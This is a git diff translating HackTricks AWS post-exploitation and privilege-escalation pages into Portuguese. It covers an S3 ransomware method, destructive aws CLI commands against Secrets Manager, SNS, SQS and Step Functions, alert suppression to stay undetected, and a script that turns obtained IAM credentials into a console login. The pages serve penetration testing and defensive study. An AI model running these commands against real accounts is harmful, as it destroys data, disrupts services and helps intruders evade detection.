descriptografados. -The attacker identifies a target **S3 bucket and gains write-level access** to it using various methods. This could be due to poor bucket configuration that exposes it publicly or the attacker gaining access to the AWS environment itself. The attacker typically targets buckets that contain sensitive information such as personally identifiable information (PII), protected health information (PHI), logs, backups, and more. +O atacante identifica um **bucket S3 alvo e ganha acesso de nível de escrita** a ele usando vários métodos. Isso pode ser devido a uma configuração de bucket inadequada que o expõe publicamente ou o atacante ganhando acesso ao próprio ambiente AWS. O atacante geralmente visa buckets que contêm informações sensíveis, como informações pessoalmente identificáveis (PII), informações de saúde protegidas (PHI), logs, backups e mais. -To determine if the bucket can be targeted for ransomware, the attacker checks its configuration. This includes verifying if **S3 Object Versioning** is enabled and if **multi-factor authentication delete (MFA delete) is enabled**. If Object Versioning is not enabled, the attacker can proceed. If Object Versioning is enabled but MFA delete is disabled, the attacker can **disable Object Versioning**. If both Object Versioning and MFA delete are enabled, it becomes more difficult for the attacker to ransomware that specific bucket. +Para determinar se o bucket pode ser alvo de ransomware, o atacante verifica sua configuração. Isso inclui verificar se **S3 Object Versioning** está habilitado e se **a exclusão de autenticação multifatorial (MFA delete) está habilitada**. Se a versão de objeto não estiver habilitada, o atacante pode prosseguir. Se a versão de objeto estiver habilitada, mas a exclusão MFA estiver desabilitada, o atacante pode **desabilitar a versão de objeto**. Se tanto a versão de objeto quanto a exclusão MFA estiverem habilitadas, torna-se mais difícil para o atacante aplicar ransomware a esse bucket específico. -Using the AWS API, the attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. This effectively encrypts the data in the bucket, making it inaccessible without the key. +Usando a API da AWS, o atacante **substitui cada objeto no bucket por uma cópia criptografada usando sua chave KMS**. Isso efetivamente criptografa os dados no bucket, tornando-os inacessíveis sem a chave. -To add further pressure, the attacker schedules the deletion of the KMS key used in the attack. This gives the target a 7-day window to recover their data before the key is deleted and the data becomes permanently lost. +Para aumentar a pressão, o atacante agenda a exclusão da chave KMS usada no ataque. Isso dá ao alvo uma janela de 7 dias para recuperar seus dados antes que a chave seja excluída e os dados se tornem permanentemente perdidos. -Finally, the attacker could upload a final file, usually named "ransom-note.txt," which contains instructions for the target on how to retrieve their files. This file is uploaded without encryption, likely to catch the target's attention and make them aware of the ransomware attack. +Finalmente, o atacante pode fazer o upload de um arquivo final, geralmente chamado "ransom-note.txt", que contém instruções para o alvo sobre como recuperar seus arquivos. Este arquivo é enviado sem criptografia, provavelmente para chamar a atenção do alvo e torná-lo ciente do ataque de ransomware. -**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** +**Para mais informações** [**verifique a pesquisa original**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md index e59cbbaaa..a12a4df61 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md @@ -1,53 +1,43 @@ -# AWS - Secrets Manager Post Exploitation +# AWS - Pós Exploração do Secrets Manager {{#include ../../../banners/hacktricks-training.md}} ## Secrets Manager -For more information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-secrets-manager-enum.md {{#endref}} -### Read Secrets +### Ler Segredos -The **secrets themself are sensitive information**, [check the privesc page](../aws-privilege-escalation/aws-secrets-manager-privesc.md) to learn how to read them. +Os **segredos em si são informações sensíveis**, [verifique a página de privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md) para aprender como lê-los. -### DoS Change Secret Value +### DoS Alterar Valor do Segredo -Changing the value of the secret you could **DoS all the system that depends on that value.** +Alterando o valor do segredo, você poderia **DoS todo o sistema que depende desse valor.** > [!WARNING] -> Note that previous values are also stored, so it's easy to just go back to the previous value. - +> Note que os valores anteriores também são armazenados, então é fácil voltar ao valor anterior. ```bash # Requires permission secretsmanager:PutSecretValue aws secretsmanager put-secret-value \ - --secret-id MyTestSecret \ - --secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" +--secret-id MyTestSecret \ +--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" ``` - -### DoS Change KMS key - +### DoS Alterar chave KMS ```bash aws secretsmanager update-secret \ - --secret-id MyTestSecret \ - --kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE +--secret-id MyTestSecret \ +--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE ``` - ### DoS Deleting Secret -The minimum number of days to delete a secret are 7 - +O número mínimo de dias para deletar um segredo é 7 ```bash aws secretsmanager delete-secret \ - --secret-id MyTestSecret \ - --recovery-window-in-days 7 +--secret-id MyTestSecret \ +--recovery-window-in-days 7 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md index e67a07739..e9f3c640b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - SES Post Exploitation +# AWS - SES Pós Exploração {{#include ../../../banners/hacktricks-training.md}} ## SES -For more information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-ses-enum.md @@ -12,76 +12,58 @@ For more information check: ### `ses:SendEmail` -Send an email. - +Enviar um e-mail. ```bash aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json ``` - -Still to test. +Ainda a ser testado. ### `ses:SendRawEmail` -Send an email. - +Enviar um e-mail. ```bash aws ses send-raw-email --raw-message file://message.json ``` - -Still to test. +Ainda a ser testado. ### `ses:SendTemplatedEmail` -Send an email based on a template. - +Envie um email com base em um modelo. ```bash aws ses send-templated-email --source --destination --template ``` - -Still to test. +Ainda a ser testado. ### `ses:SendBulkTemplatedEmail` -Send an email to multiple destinations - +Envie um e-mail para vários destinos ```bash aws ses send-bulk-templated-email --source --template ``` - -Still to test. +Ainda a ser testado. ### `ses:SendBulkEmail` -Send an email to multiple destinations. - +Envie um e-mail para vários destinos. ``` aws sesv2 send-bulk-email --default-content --bulk-email-entries ``` - ### `ses:SendBounce` -Send a **bounce email** over a received email (indicating that the email couldn't be received). This can only be done **up to 24h after receiving** the email. - +Envie um **email de retorno** sobre um email recebido (indicando que o email não pôde ser recebido). Isso só pode ser feito **até 24h após o recebimento** do email. ```bash aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list ``` - -Still to test. +Ainda a ser testado. ### `ses:SendCustomVerificationEmail` -This will send a customized verification email. You might need permissions also to created the template email. - +Isso enviará um e-mail de verificação personalizado. Você pode precisar de permissões também para criar o e-mail modelo. ```bash aws ses send-custom-verification-email --email-address --template-name aws sesv2 send-custom-verification-email --email-address --template-name ``` - -Still to test. +Ainda a testar. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md index b24660ee1..249beeca4 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md @@ -1,84 +1,68 @@ -# AWS - SNS Post Exploitation +# AWS - SNS Pós-Exploração {{#include ../../../banners/hacktricks-training.md}} ## SNS -For more information: +Para mais informações: {{#ref}} ../aws-services/aws-sns-enum.md {{#endref}} -### Disrupt Messages +### Interromper Mensagens -In several cases, SNS topics are used to send messages to platforms that are being monitored (emails, slack messages...). If an attacker prevents sending the messages that alert about it presence in the cloud, he could remain undetected. +Em vários casos, os tópicos SNS são usados para enviar mensagens para plataformas que estão sendo monitoradas (e-mails, mensagens do slack...). Se um atacante impedir o envio das mensagens que alertam sobre sua presença na nuvem, ele pode permanecer indetectável. ### `sns:DeleteTopic` -An attacker could delete an entire SNS topic, causing message loss and impacting applications relying on the topic. - +Um atacante poderia deletar um tópico SNS inteiro, causando perda de mensagens e impactando aplicações que dependem do tópico. ```bash aws sns delete-topic --topic-arn ``` - -**Potential Impact**: Message loss and service disruption for applications using the deleted topic. +**Impacto Potencial**: Perda de mensagens e interrupção do serviço para aplicativos que utilizam o tópico excluído. ### `sns:Publish` -An attacker could send malicious or unwanted messages to the SNS topic, potentially causing data corruption, triggering unintended actions, or exhausting resources. - +Um atacante poderia enviar mensagens maliciosas ou indesejadas para o tópico SNS, potencialmente causando corrupção de dados, acionando ações não intencionais ou esgotando recursos. ```bash aws sns publish --topic-arn --message ``` - -**Potential Impact**: Data corruption, unintended actions, or resource exhaustion. +**Impacto Potencial**: Corrupção de dados, ações não intencionais ou exaustão de recursos. ### `sns:SetTopicAttributes` -An attacker could modify the attributes of an SNS topic, potentially affecting its performance, security, or availability. - +Um atacante poderia modificar os atributos de um tópico SNS, potencialmente afetando seu desempenho, segurança ou disponibilidade. ```bash aws sns set-topic-attributes --topic-arn --attribute-name --attribute-value ``` - -**Potential Impact**: Misconfigurations leading to degraded performance, security issues, or reduced availability. +**Impacto Potencial**: Configurações incorretas levando a desempenho degradado, problemas de segurança ou disponibilidade reduzida. ### `sns:Subscribe` , `sns:Unsubscribe` -An attacker could subscribe or unsubscribe to an SNS topic, potentially gaining unauthorized access to messages or disrupting the normal functioning of applications relying on the topic. - +Um atacante poderia se inscrever ou cancelar a inscrição em um tópico SNS, potencialmente ganhando acesso não autorizado a mensagens ou interrompendo o funcionamento normal de aplicativos que dependem do tópico. ```bash aws sns subscribe --topic-arn --protocol --endpoint aws sns unsubscribe --subscription-arn ``` - -**Potential Impact**: Unauthorized access to messages, service disruption for applications relying on the affected topic. +**Impacto Potencial**: Acesso não autorizado a mensagens, interrupção do serviço para aplicações que dependem do tópico afetado. ### `sns:AddPermission` , `sns:RemovePermission` -An attacker could grant unauthorized users or services access to an SNS topic, or revoke permissions for legitimate users, causing disruptions in the normal functioning of applications that rely on the topic. - +Um atacante poderia conceder acesso a usuários ou serviços não autorizados a um tópico SNS, ou revogar permissões para usuários legítimos, causando interrupções no funcionamento normal de aplicações que dependem do tópico. ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name aws sns remove-permission --topic-arn --label ``` +**Impacto Potencial**: Acesso não autorizado ao tópico, exposição de mensagens ou manipulação do tópico por usuários ou serviços não autorizados, interrupção do funcionamento normal para aplicativos que dependem do tópico. -**Potential Impact**: Unauthorized access to the topic, message exposure, or topic manipulation by unauthorized users or services, disruption of normal functioning for applications relying on the topic. - -### `sns:TagResource` , `sns:UntagResource` - -An attacker could add, modify, or remove tags from SNS resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. +### `sns:TagResource`, `sns:UntagResource` +Um atacante poderia adicionar, modificar ou remover tags de recursos SNS, interrompendo a alocação de custos da sua organização, o rastreamento de recursos e as políticas de controle de acesso baseadas em tags. ```bash aws sns tag-resource --resource-arn --tags Key=,Value= aws sns untag-resource --resource-arn --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**Impacto Potencial**: Interrupção da alocação de custos, rastreamento de recursos e políticas de controle de acesso baseadas em tags. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md index 872693e89..d7211e2bc 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md @@ -1,91 +1,73 @@ -# AWS - SQS Post Exploitation +# AWS - SQS Pós Exploração {{#include ../../../banners/hacktricks-training.md}} ## SQS -For more information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md {{#endref}} -### `sqs:SendMessage` , `sqs:SendMessageBatch` - -An attacker could send malicious or unwanted messages to the SQS queue, potentially causing data corruption, triggering unintended actions, or exhausting resources. +### `sqs:SendMessage`, `sqs:SendMessageBatch` +Um atacante poderia enviar mensagens maliciosas ou indesejadas para a fila SQS, potencialmente causando corrupção de dados, acionando ações não intencionais ou esgotando recursos. ```bash aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries ``` - -**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion. +**Impacto Potencial**: Exploração de vulnerabilidades, Corrupção de dados, ações não intencionais ou exaustão de recursos. ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` -An attacker could receive, delete, or modify the visibility of messages in an SQS queue, causing message loss, data corruption, or service disruption for applications relying on those messages. - +Um atacante poderia receber, deletar ou modificar a visibilidade de mensagens em uma fila SQS, causando perda de mensagens, corrupção de dados ou interrupção de serviço para aplicações que dependem dessas mensagens. ```bash aws sqs receive-message --queue-url aws sqs delete-message --queue-url --receipt-handle aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout ``` - -**Potential Impact**: Steal sensitive information, Message loss, data corruption, and service disruption for applications relying on the affected messages. +**Impacto Potencial**: Roubo de informações sensíveis, perda de mensagens, corrupção de dados e interrupção de serviços para aplicações que dependem das mensagens afetadas. ### `sqs:DeleteQueue` -An attacker could delete an entire SQS queue, causing message loss and impacting applications relying on the queue. - +Um atacante poderia deletar uma fila SQS inteira, causando perda de mensagens e impactando aplicações que dependem da fila. ```arduino Copy codeaws sqs delete-queue --queue-url ``` - -**Potential Impact**: Message loss and service disruption for applications using the deleted queue. +**Impacto Potencial**: Perda de mensagens e interrupção do serviço para aplicações que utilizam a fila deletada. ### `sqs:PurgeQueue` -An attacker could purge all messages from an SQS queue, leading to message loss and potential disruption of applications relying on those messages. - +Um atacante poderia purgar todas as mensagens de uma fila SQS, levando à perda de mensagens e potencial interrupção de aplicações que dependem dessas mensagens. ```arduino Copy codeaws sqs purge-queue --queue-url ``` - -**Potential Impact**: Message loss and service disruption for applications relying on the purged messages. +**Impacto Potencial**: Perda de mensagens e interrupção do serviço para aplicações que dependem das mensagens eliminadas. ### `sqs:SetQueueAttributes` -An attacker could modify the attributes of an SQS queue, potentially affecting its performance, security, or availability. - +Um atacante poderia modificar os atributos de uma fila SQS, potencialmente afetando seu desempenho, segurança ou disponibilidade. ```arduino aws sqs set-queue-attributes --queue-url --attributes ``` - -**Potential Impact**: Misconfigurations leading to degraded performance, security issues, or reduced availability. +**Impacto Potencial**: Configurações incorretas levando a desempenho degradado, problemas de segurança ou disponibilidade reduzida. ### `sqs:TagQueue` , `sqs:UntagQueue` -An attacker could add, modify, or remove tags from SQS resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +Um atacante poderia adicionar, modificar ou remover tags de recursos SQS, interrompendo a alocação de custos da sua organização, o rastreamento de recursos e as políticas de controle de acesso baseadas em tags. ```bash aws sqs tag-queue --queue-url --tags Key=,Value= aws sqs untag-queue --queue-url --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**Impacto Potencial**: Interrupção da alocação de custos, rastreamento de recursos e políticas de controle de acesso baseadas em tags. ### `sqs:RemovePermission` -An attacker could revoke permissions for legitimate users or services by removing policies associated with the SQS queue. This could lead to disruptions in the normal functioning of applications that rely on the queue. - +Um atacante poderia revogar permissões para usuários ou serviços legítimos removendo políticas associadas à fila SQS. Isso poderia levar a interrupções no funcionamento normal de aplicações que dependem da fila. ```arduino arduinoCopy codeaws sqs remove-permission --queue-url --label ``` - -**Potential Impact**: Disruption of normal functioning for applications relying on the queue due to unauthorized removal of permissions. +**Impacto Potencial**: Interrupção do funcionamento normal de aplicações que dependem da fila devido à remoção não autorizada de permissões. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md index 0d636f261..722447456 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - SSO & identitystore Post Exploitation +# AWS - SSO & identitystore Pós Exploração {{#include ../../../banners/hacktricks-training.md}} ## SSO & identitystore -For more information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-iam-enum.md @@ -12,8 +12,7 @@ For more information check: ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment` -These permissions can be used to disrupt permissions: - +Essas permissões podem ser usadas para interromper permissões: ```bash aws sso-admin delete-permission-set --instance-arn --permission-set-arn @@ -21,9 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn --target-id --target-type --permission-set-arn --principal-type --principal-id ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md index 6a0cd5ba9..5ceb9907e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - Step Functions Post Exploitation +# AWS - Step Functions Pós Exploração {{#include ../../../banners/hacktricks-training.md}} ## Step Functions -For more information about this AWS service, check: +Para mais informações sobre este serviço AWS, consulte: {{#ref}} ../aws-services/aws-stepfunctions-enum.md @@ -12,20 +12,19 @@ For more information about this AWS service, check: ### `states:RevealSecrets` -This permission allows to **reveal secret data inside an execution**. For it, it's needed to set Inspection level to TRACE and the revealSecrets parameter to true. +Esta permissão permite **revelar dados secretos dentro de uma execução**. Para isso, é necessário definir o nível de Inspeção como TRACE e o parâmetro revealSecrets como true.
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` -An attacker with these permissions would be able to permanently delete state machines, their versions, and aliases. This can disrupt critical workflows, result in data loss, and require significant time to recover and restore the affected state machines. In addition, it would allow an attacker to cover the tracks used, disrupt forensic investigations, and potentially cripple operations by removing essential automation processes and state configurations. +Um atacante com essas permissões seria capaz de excluir permanentemente máquinas de estado, suas versões e aliases. Isso pode interromper fluxos de trabalho críticos, resultar em perda de dados e exigir um tempo significativo para recuperar e restaurar as máquinas de estado afetadas. Além disso, permitiria que um atacante cobrisse os rastros utilizados, interrompesse investigações forenses e potencialmente paralisasse operações ao remover processos de automação essenciais e configurações de estado. > [!NOTE] > -> - Deleting a state machine you also delete all its associated versions and aliases. -> - Deleting a state machine alias you do not delete the state machine versions referecing this alias. -> - It is not possible to delete a state machine version currently referenced by one o more aliases. - +> - Ao excluir uma máquina de estado, você também exclui todas as suas versões e aliases associados. +> - Ao excluir um alias de máquina de estado, você não exclui as versões da máquina de estado que referenciam esse alias. +> - Não é possível excluir uma versão de máquina de estado atualmente referenciada por um ou mais aliases. ```bash # Delete state machine aws stepfunctions delete-state-machine --state-machine-arn @@ -34,45 +33,34 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn ``` - -- **Potential Impact**: Disruption of critical workflows, data loss, and operational downtime. +- **Impacto Potencial**: Interrupção de fluxos de trabalho críticos, perda de dados e tempo de inatividade operacional. ### `states:UpdateMapRun` -An attacker with this permission would be able to manipulate the Map Run failure configuration and parallel setting, being able to increase or decrease the maximum number of child workflow executions allowed, affecting directly and performance of the service. In addition, an attacker could tamper with the tolerated failure percentage and count, being able to decrease this value to 0 so every time an item fails, the whole map run would fail, affecting directly to the state machine execution and potentially disrupting critical workflows. - +Um atacante com essa permissão seria capaz de manipular a configuração de falha do Map Run e a configuração paralela, podendo aumentar ou diminuir o número máximo de execuções de fluxos de trabalho filhos permitidos, afetando diretamente o desempenho do serviço. Além disso, um atacante poderia adulterar a porcentagem e a contagem de falhas toleradas, podendo diminuir esse valor para 0, de modo que toda vez que um item falhar, todo o map run falharia, afetando diretamente a execução da máquina de estados e potencialmente interrompendo fluxos de trabalho críticos. ```bash aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] ``` - -- **Potential Impact**: Performance degradation, and disruption of critical workflows. +- **Impacto Potencial**: Degradação de desempenho e interrupção de fluxos de trabalho críticos. ### `states:StopExecution` -An attacker with this permission could be able to stop the execution of any state machine, disrupting ongoing workflows and processes. This could lead to incomplete transactions, halted business operations, and potential data corruption. +Um atacante com esta permissão poderia ser capaz de parar a execução de qualquer máquina de estado, interrompendo fluxos de trabalho e processos em andamento. Isso poderia levar a transações incompletas, operações comerciais paralisadas e potencial corrupção de dados. > [!WARNING] -> This action is not supported by **express state machines**. - +> Esta ação não é suportada por **máquinas de estado expressas**. ```bash aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] ``` - -- **Potential Impact**: Disruption of ongoing workflows, operational downtime, and potential data corruption. +- **Impacto Potencial**: Interrupção de fluxos de trabalho em andamento, tempo de inatividade operacional e potencial corrupção de dados. ### `states:TagResource`, `states:UntagResource` -An attacker could add, modify, or remove tags from Step Functions resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +Um atacante poderia adicionar, modificar ou remover tags dos recursos do Step Functions, interrompendo a alocação de custos da sua organização, o rastreamento de recursos e as políticas de controle de acesso baseadas em tags. ```bash aws stepfunctions tag-resource --resource-arn --tags Key=,Value= aws stepfunctions untag-resource --resource-arn --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**Impacto Potencial**: Interrupção da alocação de custos, rastreamento de recursos e políticas de controle de acesso baseadas em tags. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md index 3cabd1b71..1490fd66e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md @@ -1,24 +1,23 @@ -# AWS - STS Post Exploitation +# AWS - STS Pós Exploração {{#include ../../../banners/hacktricks-training.md}} ## STS -For more information: +Para mais informações: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} -### From IAM Creds to Console +### De Credenciais IAM para Console -If you have managed to obtain some IAM credentials you might be interested on **accessing the web console** using the following tools.\ -Note that the the user/role must have the permission **`sts:GetFederationToken`**. +Se você conseguiu obter algumas credenciais IAM, pode estar interessado em **acessar o console da web** usando as seguintes ferramentas.\ +Note que o usuário/papel deve ter a permissão **`sts:GetFederationToken`**. -#### Custom script - -The following script will use the default profile and a default AWS location (not gov and not cn) to give you a signed URL you can use to login inside the web console: +#### Script personalizado +O seguinte script usará o perfil padrão e uma localização padrão da AWS (não gov e não cn) para lhe fornecer uma URL assinada que você pode usar para fazer login no console da web: ```bash # Get federated creds (you must indicate a policy or they won't have any perms) ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges @@ -26,8 +25,8 @@ The following script will use the default profile and a default AWS location (no output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess) if [ $? -ne 0 ]; then - echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status" - exit $status +echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status" +exit $status fi # Parse the output @@ -43,10 +42,10 @@ federation_endpoint="https://signin.aws.amazon.com/federation" # Make the HTTP request to get the sign-in token resp=$(curl -s "$federation_endpoint" \ - --get \ - --data-urlencode "Action=getSigninToken" \ - --data-urlencode "SessionDuration=43200" \ - --data-urlencode "Session=$json_creds" +--get \ +--data-urlencode "Action=getSigninToken" \ +--data-urlencode "SessionDuration=43200" \ +--data-urlencode "Session=$json_creds" ) signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri) @@ -55,11 +54,9 @@ signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri) # Give the URL to login echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token" ``` - #### aws_consoler -You can **generate a web console link** with [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler). - +Você pode **gerar um link para o console da web** com [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler). ```bash cd /tmp python3 -m venv env @@ -67,27 +64,23 @@ source ./env/bin/activate pip install aws-consoler aws_consoler [params...] #This will generate a link to login into the console ``` - > [!WARNING] -> Ensure the IAM user has `sts:GetFederationToken` permission, or provide a role to assume. +> Certifique-se de que o usuário IAM tenha permissão `sts:GetFederationToken`, ou forneça uma função para assumir. #### aws-vault -[**aws-vault**](https://github.com/99designs/aws-vault) is a tool to securely store and access AWS credentials in a development environment. - +[**aws-vault**](https://github.com/99designs/aws-vault) é uma ferramenta para armazenar e acessar com segurança as credenciais da AWS em um ambiente de desenvolvimento. ```bash aws-vault list aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds aws-vault login jonsmith # Open a browser logged as jonsmith ``` - > [!NOTE] -> You can also use **aws-vault** to obtain an **browser console session** +> Você também pode usar **aws-vault** para obter uma **sessão de console do navegador** -### **Bypass User-Agent restrictions from Python** - -If there is a **restriction to perform certain actions based on the user agent** used (like restricting the use of python boto3 library based on the user agent) it's possible to use the previous technique to **connect to the web console via a browser**, or you could directly **modify the boto3 user-agent** by doing: +### **Contornar restrições de User-Agent do Python** +Se houver uma **restrição para realizar certas ações com base no user agent** usado (como restringir o uso da biblioteca python boto3 com base no user agent), é possível usar a técnica anterior para **conectar-se ao console da web via um navegador**, ou você pode diretamente **modificar o user-agent do boto3** fazendo: ```bash # Shared by ex16x41 # Create a client @@ -100,9 +93,4 @@ client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda # Perform the action response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString']) ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md index fe4f69e25..e7c8b6bc0 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md @@ -1,17 +1,13 @@ -# AWS - VPN Post Exploitation +# AWS - VPN Pós Exploração {{#include ../../../banners/hacktricks-training.md}} ## VPN -For more information: +Para mais informações: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md index ba8374b41..80b9a308d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md @@ -1,27 +1,23 @@ -# AWS - Privilege Escalation +# AWS - Escalação de Privilégios {{#include ../../../banners/hacktricks-training.md}} -## AWS Privilege Escalation +## Escalação de Privilégios na AWS -The way to escalate your privileges in AWS is to have enough permissions to be able to, somehow, access other roles/users/groups privileges. Chaining escalations until you have admin access over the organization. +A maneira de escalar seus privilégios na AWS é ter permissões suficientes para, de alguma forma, acessar os privilégios de outros papéis/usuários/grupos. Encadeando escalonamentos até que você tenha acesso de administrador sobre a organização. > [!WARNING] -> AWS has **hundreds** (if not thousands) of **permissions** that an entity can be granted. In this book you can find **all the permissions that I know** that you can abuse to **escalate privileges**, but if you **know some path** not mentioned here, **please share it**. +> A AWS tem **centenas** (se não milhares) de **permissões** que uma entidade pode receber. Neste livro, você pode encontrar **todas as permissões que eu conheço** que você pode abusar para **escalar privilégios**, mas se você **conhecer algum caminho** não mencionado aqui, **por favor, compartilhe**. > [!CAUTION] -> If an IAM policy has `"Effect": "Allow"` and `"NotAction": "Someaction"` indicating a **resource**... that means that the **allowed principal** has **permission to do ANYTHING but that specified action**.\ -> So remember that this is another way to **grant privileged permissions** to a principal. +> Se uma política IAM tem `"Effect": "Allow"` e `"NotAction": "Someaction"` indicando um **recurso**... isso significa que o **principal permitido** tem **permissão para fazer QUALQUER COISA, exceto a ação especificada**.\ +> Portanto, lembre-se de que esta é outra maneira de **conceder permissões privilegiadas** a um principal. -**The pages of this section are ordered by AWS service. In there you will be able to find permissions that will allow you to escalate privileges.** +**As páginas desta seção estão ordenadas por serviço AWS. Nelas, você poderá encontrar permissões que permitirão que você escale privilégios.** -## Tools +## Ferramentas - [https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/aws_escalate.py](https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/aws_escalate.py) - 